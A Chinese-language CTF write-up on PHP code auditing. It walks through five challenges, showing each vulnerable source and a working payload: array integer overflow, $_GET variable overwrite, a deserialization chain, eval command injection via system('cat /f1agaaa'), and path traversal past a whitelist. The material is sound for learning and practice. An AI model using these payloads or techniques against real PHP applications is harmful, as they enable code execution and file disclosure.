web专题之php代审(二)

复制代码
这里的话将会延续上次的php代审主题,相关的题目依旧是来自ctfshow的菜狗杯(我是菜狗...)然后之后的各种类型也会慢慢更新。

1.这是来自ctfshow菜狗杯的一道题:无一幸免

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
if (isset($_GET['0'])){  
    $arr[$_GET['0']]=1;  
    if ($arr[]=1){  
        die($flag);  
    }  
    else{  
        die("nonono!");  
    }  
}

这道题比较奇怪,url拼接中只要参数有0,直接就会弹出flag。仔细一看发现是if判断中的问题,这里的判断语句"$arr[]=1"是赋值语句,导致判断永真(稀里糊涂地就过了...)。

后来我看了其他大佬的题解,是使用了数组整数溢出来绕过的,也就是说if与else中的内容互换就对了。

payload:

ini 复制代码
?0=9223372036854775807

2.这是来自ctfshow菜狗杯的一道题:遍地飘零

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
$zeros="000000000000000000000000000000";  
  
foreach($_GET as $key => $value){  
    $$key=$$value;  
}  
  
if ($flag=="000000000000000000000000000000"){  
    echo "好多零";  
}else{  
    echo "没有零,仔细看看输入有什么问题吧";  
    var_dump($_GET);  
}

这一题是比较经典的绕过题,重点是语句"var_dump($_GET)",该语句实现的是输出每一个get方式传入参数的键值对的内容以及类型。

foreach()函数中遍历每一个键值对,然后实现 <math xmlns="http://www.w3.org/1998/Math/MathML"> k e y = key= </math>key=value。这里有一个漏洞点,假如我们传入的参数是_GET,那么这里就变为 $_GET={...},之后的var_dump()函数是不是就能"等量代换"了?从而输出我们想要的内容?

于是payload

ini 复制代码
?_GET=flag

var_dump()函数就能打印出$flag的内容了

3.这是来自ctfshow菜狗杯的一道题:小舔田?

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
class Moon{  
    public $name="月亮";  
    public function __toString(){  
        return $this->name;  
    }  
      
    public function __wakeup(){  
        echo "我是".$this->name."快来赏我";  
    }  
}  
  
class Ion_Fan_Princess{  
    public $nickname="牛夫人";  
  
    public function call(){  
        global $flag;  
        if ($this->nickname=="小甜甜"){  
            echo $flag;  
        }else{  
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";  
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";  
        }  
    }  
      
    public function __toString(){  
        $this->call();  
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;  
    }  
}  
  
if (isset($_GET['code'])){  
    unserialize($_GET['code']);  
  
}else{  
    $a=new Ion_Fan_Princess();  
    echo $a;  
}

这是一道反序列化的题目,需要进行构造作为code参数传入。

我们分析一下,只有在nickname="小甜甜"以及call()函数被调用的时候,才能输出flag。但是call()函数的调用首先需要的是魔术方法__toString()的调用,在该类中无调用__toString的途径。

后面上网查了一下,当对象处于 "需要被转换为字符串" 的场景时,__toString() 会被自动调用,并返回一个字符串。我们发现Moon类中的__wakeup()函数中存在"$this->name",这里可以利用一下。

序列化代码:

php 复制代码
<?php
class Moon{
    public $name;
}

class Ion_Fan_Princess{
    public $nickname;
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = '小甜甜';
echo serialize($a);
?>

我们将new出来的Ion_Fan_Princess类赋值给 $a的name变量,使其满足Ion_Fan_Princess类中__toString()函数的自动调用条件(),再使得nickname为"小甜甜"即可

序列化:

css 复制代码
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

最终得到flag

4.这是来自ctfshow菜狗杯的一道题:web签到

php 复制代码
<?php  
  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 09:38:59  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
highlight_file(__FILE__);  
  
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

乍一看比较复杂,我们需要由里到外逐层分析

第一层,传入的是cookie值,我们令'CTFshow-QQ群:'=a,那么第二层:$_POST[a]

第二层,这里需要的是POST方法传参,我们令a=b,那么第三层:$_GET[b]

第三层,同理,GET方法传参,我们令b=c,那么第四层:$_REQUESST[c]

实际上这里的c是作为数组传入,后面是具体下标,我们可以在此拼接命令,例如c[6][0][7][5][8][0][9][4][4]=system('ls /'); 来查看根目录下的文件。

我们在bp中改包,记得需要将'CTFshow-QQ群:'进行url编码,然后记得改为POST上传,查看到的内容如下:

arduino 复制代码
bin dev etc f1agaaa home lib media mnt proc root run sbin srv sys tmp usr var

改为system('cat /f1agaaa');即可查看到flag内容。

5.这是来自BUUCTF的一道题:## [HCTF 2018]WarmUp

F12,查看源码,发现有source.php,访问之后,代码如下

php 复制代码
<?php  
    highlight_file(__FILE__);  
    class emmm  
    {  
        public static function checkFile(&$page)  
        {  
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  
            if (! isset($page) || !is_string($page)) {  
                echo "you can't see it";  
                return false;  
            }  
  
            if (in_array($page, $whitelist)) {  
                return true;  
            }  
  
            $_page = mb_substr(  
                $page,  
                0,  
                mb_strpos($page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  
  
            $_page = urldecode($page);  
            $_page = mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  
            echo "you can't see it";  
            return false;  
        }  
    }  
  
    if (! empty($_REQUEST['file'])  
        && is_string($_REQUEST['file'])  
        && emmm::checkFile($_REQUEST['file'])  
    ) {  
        include $_REQUEST['file'];  
        exit;  
    } else {  
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";  
    }    
?>

发现有一个hint.php,我们访问一下,发现给了flag文件名。

接着进行代码审计

主要函数有mb_substr( <math xmlns="http://www.w3.org/1998/Math/MathML"> s t r i n g , string, </math>string,start,$length), 实现截取一定条件下的子串,第一个参数是原字符串,第二个参数是截取开始的下标,第三个参数是截取的长度。

以及mb_strpos( <math xmlns="http://www.w3.org/1998/Math/MathML"> s t r i n g , string, </math>string,a) ,实现的是返回字符串中特定字符第一次出现的下标,第一个参数是原字符串,第二个参数是特定字符。

需要传入的参数要满足是string字符串,以及能够过emm类中的白名单限制。

我们传递的参数需要有hint.php,或者source.php。

php 复制代码
$_page = mb_substr(  
                $page,  
                0,  
                mb_strpos($page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  

这段代码表示了只需要参数值中第一个?之前的值,所以只需要hint.php?...,后面拼接flag文件名即可成功绕过。

接着还是类似的代码,第二次绕过,仔细看发现这里是同理的。

php 复制代码
            $_page = urldecode($page);  
            $_page = mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            } 

结合大佬的题解,一般source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,所以需要至少四层,我们可以返回到根目录下。

payload

ini 复制代码
?file=hint.php?/../../../../ffffllllaaaagggg

最后是可以得到flag。

相关推荐
板鸭〈小号〉2 小时前
Socket网络编程(1)——Echo Server
开发语言·网络·php
kjl5365668 小时前
Redis配置文件(redis.conf)
redis·bootstrap·php
東雪蓮☆11 小时前
LNMP 环境部署 WordPress
linux·运维·mysql·nginx·php
Gary Studio15 小时前
ESP32 IDF GET_HTTPS
网络协议·https·php
迎風吹頭髮16 小时前
UNIX下C语言编程与实践41-UNIX 单线程 I/O 超时处理:终端方式、信号跳转方式与多路复用方式
c语言·php·unix
心静财富之门17 小时前
【无标题】标签单击事件
开发语言·php
weixin_446260851 天前
快速构建网站的利器——Symfony PHP框架
开发语言·php·symfony
朝新_1 天前
【EE初阶 - 网络原理】网络通信
java·开发语言·网络·php·javaee
-dcr1 天前
22.Nginx 服务器 LNMP项目
运维·服务器·nginx·php·lnmp
qq_252924191 天前
PHP 8.0+ 极限性能优化与系统级编程
开发语言·性能优化·php